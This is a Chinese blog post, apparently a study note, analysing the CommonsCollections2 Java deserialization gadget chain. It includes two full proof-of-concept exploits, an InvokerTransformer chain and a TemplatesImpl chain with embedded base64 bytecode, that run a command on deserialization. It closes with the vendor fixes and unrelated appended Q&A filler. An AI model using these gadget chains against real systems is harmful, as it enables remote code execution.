CommonCollections2

CommonCollections2

commons-collections有两个版本

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

前者是Commons Collections为3.2.1版本,后者版本号为4.0,两者都是独立的包,在3.2.1之前可以用的反序列化利用链,在4.0同样可以使用,同时4.0多了两条新的利用链。

PriorityQueue利用链

java.util.PriorityQueue中的readObject()方法为本链的入口点,其中调用了heapity()方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0DSwhe3g-1665640243803)(https://christ1na.oss-cn-beijing.aliyuncs.com/images/image-20221013132353308.png)]

而heapify()调用了siftDown()

]

继续跟进,如果comparator != null,进入siftDownUsingComparator()方法

]

而在siftDownUsingComparator()方法中,我们可以调用指定类的compare()方法

]

而org.apache.commons.collections4.comparators.TransformingComparator中存在compare方法可以调用 transform()方法

]

至此,我们就可以使用前几条链子的transform利用链,进而rce

完整poc:

package CCdemo;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception{
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
        };
        Transformer chainedTransformer = new ChainedTransformer(faketransformers);
        Comparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue= new PriorityQueue(2,comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

成功执行

]

注意add方法会提前调用利用链,具体跟CC6类似,所以先传入一个fake对象,最后反射修改

PriorityQueue利用链之TemplatesImpl

结合前面所学知识,我们可以构造出来一个TemplatesImpl的利用链,没啥说的,直接拼接一下就ok了

package CCdemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2_TemplatesImpl {
    public static void setFieldValue(Object obj,String fieldName,Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception {
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAMQoADQAaCAAbCgAFABwIAB0HAB4KAAUAHwgAIAcAIQcAIgoAIwAkCAAlBwAmBwAn" +
                "AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgB" +
                "AAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9E" +
                "T007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXph" +
                "dGlvbkhhbmRsZXI7KVYHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94" +
                "c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVy" +
                "YXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6" +
                "YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAA4ADwEAEWphdmEubGFu" +
                "Zy5SdW50aW1lDAAqACsBAApnZXRSdW50aW1lAQAPamF2YS9sYW5nL0NsYXNzDAAsAC0BAARleGVj" +
                "AQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QHAC4MAC8AMAEABGNhbGMBAAtM" +
                "b2Rlci9IZWxsbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50" +
                "aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcv" +
                "YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEA" +
                "JShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGph" +
                "dmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRo" +
                "b2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2Jq" +
                "ZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEADAANAAAAAAADAAEA" +
                "DgAPAAIAEAAAAHEABgAFAAAAQSq3AAESArgAA0wrEgQDvQAFtgAGTSsSBwS9AAVZAxIIU7YABk4s" +
                "KwO9AAm2AAo6BC0ZBAS9AAlZAxILU7YAClexAAAAAQARAAAAHgAHAAAADQAEAA4ACgAPABUAEAAl" +
                "ABEAMAASAEAAFQASAAAABAABABMAAQAUABUAAgAQAAAAGQAAAAMAAAABsQAAAAEAEQAAAAYAAQAA" +
                "ABcAEgAAAAQAAQAWAAEAFAAXAAIAEAAAABkAAAAEAAAAAbEAAAABABEAAAAGAAEAAAAZABIAAAAE" +
                "AAEAFgABABgAAAACABk=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c1");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        Transformer transformer = new InvokerTransformer("toString", null, null);

        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue priorityQueue= new PriorityQueue(2,comparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);
        setFieldValue(transformer, "iMethodName", "newTransformer");
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

官方修复

那么PriorityQueue利用链可以在commons-collections 3中使用吗?答案是不可以的。原因很简单,它不能被反序列化。

]

在3.2.2版本时,官方新增了FunctorUtils#checkUnsafeSerialization 用来检查反序列化是否安全,当反序列化常见的危险Transform类时,会抛出异常

而在4.1版本,常用的危险Transform类直接不能被反序列化

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: commons-collections-3.2.2.jar是一个Java类库,它提供了许多用于处理集合对象的工具和数据结构。这个jar文件是Apache Commons项目的一部分,旨在提供一个通用而强大的集合工具包,以帮助开发者更轻松地处理集合数据。 commons-collections-3.2.2.jar中包含了许多常用的集合类,如List、Set、Map等,同时还提供了一些特殊的集合类,如袋子(Bag)、多键Map(MultiMap)等。这些集合类实现了许多常见的集合操作,如排序、过滤、转换等,使得开发者能够更方便地处理集合数据。 除了集合类外,commons-collections-3.2.2.jar还提供了一些其他的实用工具类,如迭代器(Iterator)、比较器(Comparator)等,帮助开发者更高效地操作集合对象。 commons-collections-3.2.2.jar的使用非常简单,只需将该jar文件添加到项目的classpath中即可。开发者可以通过导入相应的包名,使用其中的类和方法来操作集合对象。 总之,commons-collections-3.2.2.jar是一个功能丰富的Java类库,可以帮助开发者更轻松地处理集合对象。无论是对于初学者还是有经验的开发者来说,这个库都提供了许多便捷的方法和工具,使得集合操作更加简单高效。 ### 回答2: commons-collections-3.2.2.jar是一个Java类库,提供了一组有用的集合类和工具类,使得在开发过程中更方便地操作和处理集合对象。 commons-collections-3.2.2.jar包含了一些常用的集合类,例如List、Set、Map等,它们都实现了Java集合框架的接口,并提供了一些常用的操作方法,如添加、删除、查找等。这些集合类具有扩展性,可以根据需要自定义实现,也可以通过合适的适配器类将其转换为其他类型的集合。 除了基础的集合类之外,commons-collections-3.2.2.jar还提供了一些特殊用途的集合类和工具类。例如,有一个可以解决数组操作问题的类ArrayUtils,它提供了各种对数组进行操作的方法,如合并、比较、填充等。还有一个针对集合元素处理的工具类CollectionUtils,它提供了各种便利的方法,如过滤、转换、排序等。 commons-collections-3.2.2.jar对于Java开发者来说非常有用,可以帮助简化代码、提高开发效率。它提供了丰富的集合操作方法,可以快速完成一些常见的集合处理任务。通过使用这个库,开发者可以更加专注于业务逻辑的实现,而无需关心底层的集合操作细节。 总之,commons-collections-3.2.2.jar是一个功能强大的Java类库,提供了丰富的集合类和工具类,可以帮助开发者更轻松地操作和处理集合对象,提高开发效率。 ### 回答3: commons-collections-3.2.2.jar是一个Java库,用于提供一组常见的数据结构和算法。它是Apache Commons项目的一部分,由Apache Software Foundation提供和维护。 该库包含了许多功能强大且易于使用的集合类,如列表、队列、堆栈和映射等。这些集合类提供了许多有用的方法和工具,可以简化开发人员对集合数据的操作和管理。 此外,commons-collections-3.2.2.jar还提供了一些算法和工具类,如排序、查找、迭代和转换等。它们可以在处理集合数据时提供更高效和灵活的选择。 commons-collections-3.2.2.jar还具有高度可扩展性和灵活性。开发人员可以通过继承已有的集合类或实现相关接口来定制和扩展其功能。它还支持泛型和迭代器等先进的Java特性,使开发人员能够更好地利用现代Java开发的功能和优势。 总的来说,commons-collections-3.2.2.jar是一个强大而可靠的Java库,为开发人员提供了许多常用的数据结构和算法。它在提高开发效率和代码质量方面发挥了重要作用,并广泛应用于各种Java应用程序的开发中。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值